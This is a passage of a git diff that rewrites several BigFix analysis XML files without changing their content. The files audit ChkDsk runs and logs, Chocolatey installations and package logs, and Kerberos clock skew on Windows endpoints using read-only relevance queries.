-    <Relevance>( exists files of folders &quot;System Volume Information\Chkdsk&quot; of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;) ) OR ( exists files of folders whose(name of it as lowercase starts with &quot;found.&quot;) of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;) ) OR ( exists records whose (source of it as lowercase contains &quot;chkdsk&quot;) of (application event log) ) OR ( exists records whose(source of it as lowercase ends with &quot;wininit&quot; AND description of it as lowercase contains &quot;chkdsk&quot;) of (application event log) )</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 14 Oct 2014 20:47:36 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Num of ChkDsks" EvaluationPeriod="PT12H">number of records whose (source of it as lowercase contains &quot;chkdsk&quot;) of application event log</Property>
-    <Property ID="2" Name="Num of ChkDsks during wininit of application log" EvaluationPeriod="PT12H">number of records whose(source of it as lowercase ends with &quot;wininit&quot; AND description of it as lowercase contains &quot;chkdsk&quot;) of application event log</Property>
-    <Property ID="3" Name="ChkDsk Logs" EvaluationPeriod="PT12H">pathnames of files whose((name of it as lowercase ends with &quot;.log&quot;) AND (name of it as lowercase starts with &quot;chkdsk&quot;)) of folders &quot;System Volume Information\Chkdsk&quot; of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;)</Property>
-    <Property ID="8" Name="num of ChkDsk Logs" EvaluationPeriod="PT12H">number of files whose((name of it as lowercase ends with &quot;.log&quot;) AND (name of it as lowercase starts with &quot;chkdsk&quot;)) of folders &quot;System Volume Information\Chkdsk&quot; of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;)</Property>
-    <Property ID="9" Name="Total Num of ChkDsks" EvaluationPeriod="PT12H">sum of ( ( number of files whose((name of it as lowercase ends with &quot;.log&quot;) AND (name of it as lowercase starts with &quot;chkdsk&quot;)) of folders &quot;System Volume Information\Chkdsk&quot; of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;) );( number of records whose (source of it as lowercase contains &quot;chkdsk&quot;) of application event log );( number of records whose(source of it as lowercase ends with &quot;wininit&quot; AND description of it as lowercase contains &quot;chkdsk&quot;) of application event log ) )</Property>
-    <Property ID="10" Name="Found_Files" EvaluationPeriod="PT12H">pathnames of files of folders whose(name of it as lowercase starts with &quot;found.&quot;) of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;)</Property>
-    <Property ID="11" Name="Number of Found_Files" EvaluationPeriod="PT6H">number of files whose(name of it as lowercase starts with &quot;file&quot; AND name of it as lowercase ends with &quot;.chk&quot;) of folders whose(name of it as lowercase starts with &quot;found.&quot;) of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : ChkDsk Audit - Windows
+  ID       : 2994739
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-10-14T13:49:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>ChkDsk Audit - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://ask-leo.com/how_do_i_see_the_results_of_a_chkdsk_that_ran_on_boot.html">http://ask-leo.com/how_do_i_see_the_results_of_a_chkdsk_that_ran_on_boot.html</A></P>
+<P><A href="http://www.sevenforums.com/tutorials/96938-check-disk-chkdsk-read-event-viewer-log.html">http://www.sevenforums.com/tutorials/96938-check-disk-chkdsk-read-event-viewer-log.html</A></P>
+<P><A href="http://kmwoley.com/blog/?p=441">http://kmwoley.com/blog/?p=441</A></P>
+<P><A href="http://superuser.com/questions/214209/where-are-the-results-of-chkdsk-located-in-windows-7">http://superuser.com/questions/214209/where-are-the-results-of-chkdsk-located-in-windows-7</A></P>
+<P><A href="http://ericphelps.com/uncheck/index.htm">http://ericphelps.com/uncheck/index.htm</A></P>
+<P><A href="https://www.raymond.cc/blog/how-to-recover-chk-files-created-by-chkdsk-and-scandisk/">https://www.raymond.cc/blog/how-to-recover-chk-files-created-by-chkdsk-and-scandisk/</A></P>
+<P>&nbsp;</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>( exists files of folders &quot;System Volume Information\Chkdsk&quot; of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;) ) OR ( exists files of folders whose(name of it as lowercase starts with &quot;found.&quot;) of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;) ) OR ( exists records whose (source of it as lowercase contains &quot;chkdsk&quot;) of (application event log) ) OR ( exists records whose(source of it as lowercase ends with &quot;wininit&quot; AND description of it as lowercase contains &quot;chkdsk&quot;) of (application event log) )</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 14 Oct 2014 20:47:36 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Num of ChkDsks" EvaluationPeriod="PT12H">number of records whose (source of it as lowercase contains &quot;chkdsk&quot;) of application event log</Property>
+    <Property ID="2" Name="Num of ChkDsks during wininit of application log" EvaluationPeriod="PT12H">number of records whose(source of it as lowercase ends with &quot;wininit&quot; AND description of it as lowercase contains &quot;chkdsk&quot;) of application event log</Property>
+    <Property ID="3" Name="ChkDsk Logs" EvaluationPeriod="PT12H">pathnames of files whose((name of it as lowercase ends with &quot;.log&quot;) AND (name of it as lowercase starts with &quot;chkdsk&quot;)) of folders &quot;System Volume Information\Chkdsk&quot; of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;)</Property>
+    <Property ID="8" Name="num of ChkDsk Logs" EvaluationPeriod="PT12H">number of files whose((name of it as lowercase ends with &quot;.log&quot;) AND (name of it as lowercase starts with &quot;chkdsk&quot;)) of folders &quot;System Volume Information\Chkdsk&quot; of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;)</Property>
+    <Property ID="9" Name="Total Num of ChkDsks" EvaluationPeriod="PT12H">sum of ( ( number of files whose((name of it as lowercase ends with &quot;.log&quot;) AND (name of it as lowercase starts with &quot;chkdsk&quot;)) of folders &quot;System Volume Information\Chkdsk&quot; of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;) );( number of records whose (source of it as lowercase contains &quot;chkdsk&quot;) of application event log );( number of records whose(source of it as lowercase ends with &quot;wininit&quot; AND description of it as lowercase contains &quot;chkdsk&quot;) of application event log ) )</Property>
+    <Property ID="10" Name="Found_Files" EvaluationPeriod="PT12H">pathnames of files of folders whose(name of it as lowercase starts with &quot;found.&quot;) of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;)</Property>
+    <Property ID="11" Name="Number of Found_Files" EvaluationPeriod="PT6H">number of files whose(name of it as lowercase starts with &quot;file&quot; AND name of it as lowercase ends with &quot;.chk&quot;) of folders whose(name of it as lowercase starts with &quot;found.&quot;) of root folders of drives whose(type of it = &quot;DRIVE_FIXED&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Chocolatey Audit - Windows (2994810).bes b/Sites/Windows Management/Fixlets/Analyses/Chocolatey Audit - Windows (2994810).bes
index d647cbcd0..b391182be 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Chocolatey Audit - Windows (2994810).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Chocolatey Audit - Windows (2994810).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Chocolatey Audit - Windows
-  ID       : 2994810
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-06-07T08:47:29
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Chocolatey Audit - Windows</Title>
-    <Description><![CDATA[<P>&nbsp;</P>
-<P><A href="https://chocolatey.org/">https://chocolatey.org/</A></P>
-<P>&nbsp;</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system > "5.1"]]></Relevance>
-    <Relevance>(exists folders &quot;C:\Chocolatey&quot;) OR (  exists values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries)  ) OR (  exists (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;\chocolatey\&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries)  )</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sun, 07 Jun 2015 15:43:46 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Version of Chocolatey" EvaluationPeriod="PT1H">unique values of versions of files &quot;choco.exe&quot; of (  parent folders of folders ( unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) ; folders ( unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) )  )</Property>
-    <Property ID="2" Name="Path to Chocolatey" EvaluationPeriod="PT1H">unique values of pathnames of ( parent folders of folders ( unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) ; folders ( unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
-    <Property ID="3" Name="last 100 lines of chocolatey.log file" EvaluationPeriod="PT12H">(item 1 of /* -&gt; This &quot;it&quot; refers to the last 100 lines of the file -&gt; */ it) whose( /* -&gt; remove empty lines, which is why this relevance can return less than 100 lines per file -&gt; */ it as trimmed string != &quot;&quot;) of ( /* -&gt; this is the number of lines of the file from the previous statement -&gt; */ item 1 of it, (lines of /* -&gt; the file object -&gt; */ item 0 of it) ) /* -&gt; This whose statement is responsible for filtering for only the last 100 lines of the file -&gt; */ whose ( (line number of /* -&gt; lines of the file -&gt; */ item 1 of it) &gt; ( /* -&gt; number of lines of the file -&gt; */ item 0 of it - 100 /* &lt;- This is the number of lines to return, which is subtracted from the total # of lines &lt;- */ ) ) of ( /* -&gt; the parent file object itself -&gt; */ it, number of lines of it) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of (  ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) )  )</Property>
-    <Property ID="4" Name="Installed Software (not all)" EvaluationPeriod="PT6H">(it as trimmed string) of unique values of ( (preceding text of first &quot;has been installed successfully.&quot; of it | preceding text of first &quot;was successful.&quot; of it) of (following text of first &quot;The install of&quot; of it | following text of first &quot; - &quot; of it) ) of lines whose(it contains &quot;has been installed successfully.&quot; OR it contains &quot;was successful.&quot;) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of ( ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
-    <Property ID="5" Name="# of packages installed" EvaluationPeriod="PT6H">sums of (it as trimmed string as integer) of ( (preceding text of first &quot;packages installed.&quot; of it | preceding text of first &quot;/&quot; of it) of (following text of first &quot;Chocolatey installed&quot; of it | following text of first &quot; - &quot; of it) ) of lines whose(it contains &quot;Chocolatey installed&quot; OR it contains &quot;packages installed.&quot;) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of ( ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
-    <Property ID="6" Name="# of packages failed" EvaluationPeriod="PT6H">sums of (it as trimmed string as integer) of (preceding text of first &quot;package(s) failed.&quot; of following text of first &quot;package(s).&quot; of it) of lines whose(it contains &quot;Chocolatey installed&quot; AND it contains &quot;package(s) failed.&quot; AND it contains &quot;package(s).&quot;) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of ( ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
-    <Property ID="7" Name="# of packages with warnings" EvaluationPeriod="PT6H">sums of (it as trimmed string as integer) of (preceding text of first &quot;package(s) had warnings.&quot; of it) of lines whose(it contains &quot;package(s) had warnings.&quot;) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of ( ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
-    <Property ID="8" Name="temp folders" EvaluationPeriod="PT6H">pathnames of folders of folders &quot;chocolatey&quot; of (folders &quot;Temp&quot; of windows folders ; folders &quot;AppData\Local\Temp&quot; of folders of folders &quot;C:\Users&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Chocolatey Audit - Windows
+  ID       : 2994810
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-06-07T08:47:29
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Chocolatey Audit - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P><A href="https://chocolatey.org/">https://chocolatey.org/</A></P>
+<P>&nbsp;</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system > "5.1"]]></Relevance>
+    <Relevance>(exists folders &quot;C:\Chocolatey&quot;) OR (  exists values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries)  ) OR (  exists (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;\chocolatey\&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries)  )</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sun, 07 Jun 2015 15:43:46 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Version of Chocolatey" EvaluationPeriod="PT1H">unique values of versions of files &quot;choco.exe&quot; of (  parent folders of folders ( unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) ; folders ( unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) )  )</Property>
+    <Property ID="2" Name="Path to Chocolatey" EvaluationPeriod="PT1H">unique values of pathnames of ( parent folders of folders ( unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) ; folders ( unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
+    <Property ID="3" Name="last 100 lines of chocolatey.log file" EvaluationPeriod="PT12H">(item 1 of /* -&gt; This &quot;it&quot; refers to the last 100 lines of the file -&gt; */ it) whose( /* -&gt; remove empty lines, which is why this relevance can return less than 100 lines per file -&gt; */ it as trimmed string != &quot;&quot;) of ( /* -&gt; this is the number of lines of the file from the previous statement -&gt; */ item 1 of it, (lines of /* -&gt; the file object -&gt; */ item 0 of it) ) /* -&gt; This whose statement is responsible for filtering for only the last 100 lines of the file -&gt; */ whose ( (line number of /* -&gt; lines of the file -&gt; */ item 1 of it) &gt; ( /* -&gt; number of lines of the file -&gt; */ item 0 of it - 100 /* &lt;- This is the number of lines to return, which is subtracted from the total # of lines &lt;- */ ) ) of ( /* -&gt; the parent file object itself -&gt; */ it, number of lines of it) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of (  ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) )  )</Property>
+    <Property ID="4" Name="Installed Software (not all)" EvaluationPeriod="PT6H">(it as trimmed string) of unique values of ( (preceding text of first &quot;has been installed successfully.&quot; of it | preceding text of first &quot;was successful.&quot; of it) of (following text of first &quot;The install of&quot; of it | following text of first &quot; - &quot; of it) ) of lines whose(it contains &quot;has been installed successfully.&quot; OR it contains &quot;was successful.&quot;) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of ( ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
+    <Property ID="5" Name="# of packages installed" EvaluationPeriod="PT6H">sums of (it as trimmed string as integer) of ( (preceding text of first &quot;packages installed.&quot; of it | preceding text of first &quot;/&quot; of it) of (following text of first &quot;Chocolatey installed&quot; of it | following text of first &quot; - &quot; of it) ) of lines whose(it contains &quot;Chocolatey installed&quot; OR it contains &quot;packages installed.&quot;) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of ( ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
+    <Property ID="6" Name="# of packages failed" EvaluationPeriod="PT6H">sums of (it as trimmed string as integer) of (preceding text of first &quot;package(s) failed.&quot; of following text of first &quot;package(s).&quot; of it) of lines whose(it contains &quot;Chocolatey installed&quot; AND it contains &quot;package(s) failed.&quot; AND it contains &quot;package(s).&quot;) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of ( ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
+    <Property ID="7" Name="# of packages with warnings" EvaluationPeriod="PT6H">sums of (it as trimmed string as integer) of (preceding text of first &quot;package(s) had warnings.&quot; of it) of lines whose(it contains &quot;package(s) had warnings.&quot;) of files &quot;chocolatey.log&quot; of folders &quot;logs&quot; of (folder it) of unique values of pathnames of ( ( (folder it) of unique values of (it as string as trimmed string) of values &quot;ChocolateyInstall&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) );( parent folders of (folder it) of unique values of (substrings separated by &quot;;&quot; of it) whose(it as lowercase contains &quot;choco&quot;) of unique values of (it as string as trimmed string) of values &quot;Path&quot; of keys &quot;Control\Session Manager\Environment&quot; of keys whose(name of it contains &quot;ControlSet&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM&quot; of (x64 registries;x32 registries) ) )</Property>
+    <Property ID="8" Name="temp folders" EvaluationPeriod="PT6H">pathnames of folders of folders &quot;chocolatey&quot; of (folders &quot;Temp&quot; of windows folders ; folders &quot;AppData\Local\Temp&quot; of folders of folders &quot;C:\Users&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Client Clock Audit - Kerberos (2994647).bes b/Sites/Windows Management/Fixlets/Analyses/Client Clock Audit - Kerberos (2994647).bes
index 5723fada0..7c23b31d7 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Client Clock Audit - Kerberos (2994647).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Client Clock Audit - Kerberos (2994647).bes	
@@ -1,32 +1,32 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Client Clock Audit - Kerberos
-  ID       : 2994647
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-05-14T12:33:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Client Clock Audit - Kerberos</Title>
-    <Description><![CDATA[<P>The amount of clock skew matters for Keberos Authentication. By default requests off by more than 5 minutes are rejected.</P>
-<P>&nbsp;</P>
-<P>References:</P>
-<P><A href="http://technet.microsoft.com/en-us/library/cc779260(v=ws.10).aspx">http://technet.microsoft.com/en-us/library/cc779260(v=ws.10).aspx</A></P>
-<P><A href="http://support.bigfix.com/inspectors/World%20Objects_Any.html">http://support.bigfix.com/inspectors/World%20Objects_Any.html</A></P>
-<P><A href="http://blogs.msdn.com/b/asiatech/archive/2009/04/27/kerberos-authentication-failed-due-to-time-skew.aspx">http://blogs.msdn.com/b/asiatech/archive/2009/04/27/kerberos-authentication-failed-due-to-time-skew.aspx</A></P>
-<P><A href="http://web.mit.edu/kerberos/krb5-1.5/krb5-1.5.4/doc/krb5-admin/Clock-Skew.html">http://web.mit.edu/kerberos/krb5-1.5/krb5-1.5.4/doc/krb5-admin/Clock-Skew.html</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>true</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 14 May 2014 18:39:45 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="~Clock_Skew" EvaluationPeriod="PT30M">(absolute value of (apparent registration server time - now))</Property>
-    <Property ID="2" Name="Skew &lt; 4 min" EvaluationPeriod="PT30M">(absolute value of (apparent registration server time - now)) &lt; (4 * minute)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Client Clock Audit - Kerberos
+  ID       : 2994647
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-05-14T12:33:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Client Clock Audit - Kerberos</Title>
+    <Description><![CDATA[<P>The amount of clock skew matters for Keberos Authentication. By default requests off by more than 5 minutes are rejected.</P>
+<P>&nbsp;</P>
+<P>References:</P>
+<P><A href="http://technet.microsoft.com/en-us/library/cc779260(v=ws.10).aspx">http://technet.microsoft.com/en-us/library/cc779260(v=ws.10).aspx</A></P>
+<P><A href="http://support.bigfix.com/inspectors/World%20Objects_Any.html">http://support.bigfix.com/inspectors/World%20Objects_Any.html</A></P>
+<P><A href="http://blogs.msdn.com/b/asiatech/archive/2009/04/27/kerberos-authentication-failed-due-to-time-skew.aspx">http://blogs.msdn.com/b/asiatech/archive/2009/04/27/kerberos-authentication-failed-due-to-time-skew.aspx</A></P>
+<P><A href="http://web.mit.edu/kerberos/krb5-1.5/krb5-1.5.4/doc/krb5-admin/Clock-Skew.html">http://web.mit.edu/kerberos/krb5-1.5/krb5-1.5.4/doc/krb5-admin/Clock-Skew.html</A></P>
+<P>&nbsp;</P>]]></Description>
